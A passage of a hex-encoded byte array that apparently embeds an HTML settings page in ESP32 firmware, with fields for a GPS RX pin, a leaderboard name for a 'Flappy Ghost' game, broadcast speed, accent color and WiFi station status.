0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x67, 0x72, 0x69, 0x64, + 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, + 0x20, 0x57, 0x69, 0x46, 0x69, 0x2F, 0x42, 0x4C, 0x45, 0x20, 0x53, 0x65, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, + 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, 0x64, 0x3D, + 0x22, 0x6D, 0x69, 0x73, 0x63, 0x65, 0x6C, 0x6C, 0x61, 0x6E, 0x65, 0x6F, + 0x75, 0x73, 0x5F, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, + 0x32, 0x3E, 0x4D, 0x69, 0x73, 0x63, 0x65, 0x6C, 0x6C, 0x61, 0x6E, 0x65, + 0x6F, 0x75, 0x73, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, + 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, + 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, + 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x67, 0x70, 0x73, 0x5F, + 0x72, 0x78, 0x5F, 0x70, 0x69, 0x6E, 0x22, 0x3E, 0x47, 0x50, 0x53, 0x20, + 0x52, 0x58, 0x20, 0x50, 0x69, 0x6E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, + 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, + 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, + 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x50, + 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x47, + 0x50, 0x53, 0x20, 0x52, 0x58, 0x20, 0x50, 0x69, 0x6E, 0x20, 0x46, 0x6F, + 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x46, 0x69, 0x72, 0x6D, 0x77, 0x61, + 0x72, 0x65, 0x2E, 0x20, 0x4F, 0x6E, 0x6C, 0x79, 0x20, 0x66, 0x6F, 0x72, + 0x20, 0x74, 0x68, 0x6F, 0x73, 0x65, 0x20, 0x77, 0x68, 0x6F, 0x20, 0x68, + 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x69, 0x6E, + 0x67, 0x20, 0x47, 0x50, 0x53, 0x20, 0x49, 0x6E, 0x73, 0x74, 0x61, 0x6C, + 0x6C, 0x65, 0x64, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, + 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, + 0x67, 0x70, 0x73, 0x5F, 0x72, 0x78, 0x5F, 0x70, 0x69, 0x6E, 0x22, 0x20, + 0x6D, 0x69, 0x6E, 0x3D, 0x22, 0x30, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, + 0x22, 0x35, 0x30, 0x22, 0x20, 0x73, 0x74, 0x65, 0x70, 0x3D, 0x22, 0x31, + 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, + 0x72, 0x3D, 0x22, 0x30, 0x20, 0x2D, 0x20, 0x35, 0x30, 0x22, 0x20, 0x72, + 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, + 0x72, 0x3D, 0x22, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x6E, 0x61, + 0x6D, 0x65, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x4E, 0x61, 0x6D, + 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, + 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, + 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, + 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, + 0x20, 0x74, 0x68, 0x65, 0x20, 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x79, 0x6F, + 0x75, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x68, 0x61, + 0x76, 0x65, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x46, 0x6C, + 0x61, 0x70, 0x70, 0x79, 0x20, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x6C, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x62, 0x6F, 0x61, 0x72, 0x64, 0x73, 0x2E, + 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, + 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x74, 0x65, 0x78, + 0x74, 0x61, 0x72, 0x65, 0x61, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x66, 0x6C, + 0x61, 0x70, 0x70, 0x79, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x5F, 0x74, 0x65, + 0x78, 0x74, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, + 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x4E, + 0x61, 0x6D, 0x65, 0x22, 0x3E, 0x3C, 0x2F, 0x74, 0x65, 0x78, 0x74, 0x61, + 0x72, 0x65, 0x61, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, + 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x62, + 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, + 0x65, 0x64, 0x22, 0x3E, 0x42, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, + 0x74, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x20, 0x28, 0x6D, 0x73, 0x29, + 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, + 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, + 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x74, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x73, 0x70, 0x65, 0x65, 0x64, 0x20, 0x61, 0x74, 0x20, 0x77, + 0x68, 0x69, 0x63, 0x68, 0x20, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, + 0x73, 0x74, 0x73, 0x20, 0x61, 0x72, 0x65, 0x20, 0x73, 0x65, 0x6E, 0x74, + 0x2C, 0x20, 0x69, 0x6E, 0x20, 0x6D, 0x69, 0x6C, 0x6C, 0x69, 0x73, 0x65, + 0x63, 0x6F, 0x6E, 0x64, 0x73, 0x20, 0x28, 0x35, 0x20, 0x2D, 0x20, 0x31, + 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, 0x29, 0x2E, 0x3C, 0x2F, 0x73, 0x70, + 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, + 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, + 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, + 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, + 0x20, 0x69, 0x64, 0x3D, 0x22, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, + 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x22, 0x20, 0x6D, 0x69, + 0x6E, 0x3D, 0x22, 0x35, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, 0x22, 0x31, + 0x30, 0x30, 0x30, 0x22, 0x20, 0x73, 0x74, 0x65, 0x70, 0x3D, 0x22, 0x31, + 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, + 0x72, 0x3D, 0x22, 0x35, 0x20, 0x2D, 0x20, 0x31, 0x30, 0x30, 0x30, 0x20, + 0x6D, 0x73, 0x22, 0x20, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, + 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, + 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, + 0x6F, 0x72, 0x3D, 0x22, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x70, 0x69, 0x63, 0x6B, 0x65, 0x72, 0x22, + 0x3E, 0x41, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x6F, 0x6C, 0x6F, + 0x72, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, + 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, + 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, + 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x50, 0x69, 0x63, 0x6B, 0x20, + 0x61, 0x20, 0x63, 0x75, 0x73, 0x74, 0x6F, 0x6D, 0x20, 0x61, 0x63, 0x63, + 0x65, 0x6E, 0x74, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x66, 0x6F, + 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, + 0x72, 0x65, 0x2E, 0x20, 0x55, 0x73, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x70, 0x69, 0x63, 0x6B, 0x65, 0x72, + 0x20, 0x74, 0x6F, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x79, + 0x6F, 0x75, 0x72, 0x20, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x72, 0x65, + 0x64, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x2E, 0x3C, 0x2F, 0x73, 0x70, + 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, + 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, + 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, + 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x22, 0x20, + 0x69, 0x64, 0x3D, 0x22, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, + 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x70, 0x69, 0x63, 0x6B, 0x65, 0x72, 0x22, + 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x23, 0x66, 0x66, 0x66, + 0x66, 0x66, 0x66, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, + 0x20, 0x69, 0x64, 0x3D, 0x22, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x68, 0x65, 0x78, 0x22, 0x20, 0x73, + 0x74, 0x79, 0x6C, 0x65, 0x3D, 0x22, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, + 0x2D, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x3B, + 0x22, 0x3E, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x2F, 0x73, + 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x43, 0x6F, 0x6E, + 0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x57, 0x69, 0x46, 0x69, + 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x28, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6C, 0x65, 0x64, 0x29, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, + 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, + 0x64, 0x3D, 0x22, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x2D, 0x77, + 0x69, 0x66, 0x69, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x68, 0x32, 0x3E, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x74, 0x61, 0x74, + 0x75, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, + 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, + 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x73, 0x74, 0x61, 0x74, + 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x22, 0x3E, 0x45, 0x53, 0x50, 0x33, + 0x32, 0x20, 0x53, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x49, 0x50, + 0x3A, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, + 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x22, 0x20, 0x70, 0x6C, + 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x4E, + 0x6F, 0x74, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, + 